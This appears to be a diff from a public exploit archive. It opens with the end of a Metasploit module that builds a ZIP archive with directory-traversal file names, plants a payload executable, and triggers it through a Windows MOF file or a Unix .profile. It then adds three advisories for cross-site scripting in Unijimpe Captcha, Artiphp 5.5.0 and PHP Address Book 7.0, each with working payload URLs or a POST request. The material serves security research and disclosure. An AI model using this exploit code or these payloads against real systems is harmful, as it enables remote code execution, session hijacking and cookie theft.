|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptString.new('INCLUDEDIR', [ false, 'Path to an optional directory to include into the archive.', '']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Traversal path
|
||||||
|
def traversal(depth)
|
||||||
|
result = '.. /'
|
||||||
|
if depth < 0
|
||||||
|
# Go up n levels
|
||||||
|
result = result * -depth
|
||||||
|
else
|
||||||
|
# Go up until n-th level
|
||||||
|
result = result * (datastore['DEPTH'] - depth)
|
||||||
|
end
|
||||||
|
return result
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Create a new archive
|
||||||
|
zip = Rex::Zip::Archive.new
|
||||||
|
|
||||||
|
# Optionally include an initial directory
|
||||||
|
dir = datastore['INCLUDEDIR']
|
||||||
|
if not dir.nil? and not dir.empty?
|
||||||
|
print_status("Filling archive recursively from path #{dir}")
|
||||||
|
zip.add_r(dir)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Create the payload executable file path
|
||||||
|
exe_name = rand_text_alpha(rand(6) + 1) + (target['Platform'] == 'win' ? '.exe' : '')
|
||||||
|
exe_file = traversal(target['Depth']) + target['RelativePath'] + exe_name
|
||||||
|
|
||||||
|
# Generate the payload executable file content
|
||||||
|
exe_content = generate_payload_exe()
|
||||||
|
|
||||||
|
# Add the payload executable file into the archive
|
||||||
|
zip_add_file(zip, exe_file, exe_content)
|
||||||
|
|
||||||
|
# Check all available targets
|
||||||
|
case target['Option']
|
||||||
|
when 'mof'
|
||||||
|
# Create MOF file data
|
||||||
|
mof_name = rand_text_alpha(rand(6) + 1) + '.mof'
|
||||||
|
mof_file = traversal(0) + 'Windows\\System32\\Wbem\\Mof\\' + mof_name
|
||||||
|
mof_content = generate_mof(mof_name, exe_name)
|
||||||
|
zip_add_file(zip, mof_file, mof_content)
|
||||||
|
when 'profile'
|
||||||
|
# Create .profile file
|
||||||
|
bashrc_name = '.profile'
|
||||||
|
bashrc_file = traversal(target['Depth']) + bashrc_name
|
||||||
|
bashrc_content = "chmod a+x ./#{exe_name}\n./#{exe_name}"
|
||||||
|
zip_add_file(zip, bashrc_file, bashrc_content)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Write the final ZIP archive to a file
|
||||||
|
zip_data = zip.pack
|
||||||
|
file_create(zip_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Add a file to the target zip and output a notification
|
||||||
|
def zip_add_file(zip, filename, content)
|
||||||
|
print_status("Adding '#{filename}' (#{content.length} bytes)");
|
||||||
|
zip.add_file(filename, content, nil, nil, nil)
|
||||||
|
end
|
||||||
|
end
|
||||||
7
platforms/php/webapps/37216.txt
Executable file
7
platforms/php/webapps/37216.txt
Executable file
|
|
@ -0,0 +1,7 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53585/info
|
||||||
|
|
||||||
|
The Unijimpe Captcha is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||||
|
|
||||||
|
http://www.example.com/captchademo.php/%22%3E%3Cscript%3Ealert%28%27pwned%27%29%3C/script%3E
|
||||||
29
platforms/php/webapps/37217.txt
Executable file
29
platforms/php/webapps/37217.txt
Executable file
|
|
@ -0,0 +1,29 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53586/info
|
||||||
|
|
||||||
|
Artiphp is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||||
|
|
||||||
|
Artiphp 5.5.0 Neo is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
POST /artpublic/recommandation/index.php HTTP/1.1
|
||||||
|
Content-Length: 619
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Cookie: ARTI=tsouvg67cld88k9ihbqfgk3k77
|
||||||
|
Host: localhost:80
|
||||||
|
Connection: Keep-alive
|
||||||
|
Accept-Encoding: gzip,deflate
|
||||||
|
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
|
||||||
|
|
||||||
|
add_img_name_post "onmouseover=prompt(1) joxy
|
||||||
|
adresse_destinataire
|
||||||
|
adresse_expediteur lab%40zeroscience.mk
|
||||||
|
asciiart_post "onmouseover=prompt(2) joxy
|
||||||
|
expediteur "onmouseover=prompt(3) joxy
|
||||||
|
message Hello%20World
|
||||||
|
message1 %ef%bf%bd%20Recommand%20%ef%bf%bd%0a%bb%20http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
|
||||||
|
send Send
|
||||||
|
titre_sav "onmouseover=prompt(4) joxy
|
||||||
|
url_sav http%3a%2f%2flocalhost%2fartpublic%2frecommandation%2f
|
||||||
|
z39d27af885b32758ac0e7d4014a61561 "onmouseover=prompt(5) joxy
|
||||||
|
zd178e6cdc57b8d6ba3024675f443e920 2
|
||||||
11
platforms/php/webapps/37219.txt
Executable file
11
platforms/php/webapps/37219.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
||||||
|
source: http://www.securityfocus.com/bid/53598/info
|
||||||
|
|
||||||
|
PHP Address Book is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
|
||||||
|
|
||||||
|
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
|
||||||
|
|
||||||
|
PHP Address Book 7.0 is vulnerable; other versions may also be affected.
|
||||||
|
|
||||||
|
http://www.example.com/addressbookv7.0.0/group.php/[XSS]
|
||||||
|
|
||||||
|
http://www.example.com/addressbookv7.0.0/translate.php?lang=en&target_language=[XSS]
|
||||||
Loading…
Add table
Reference in a new issue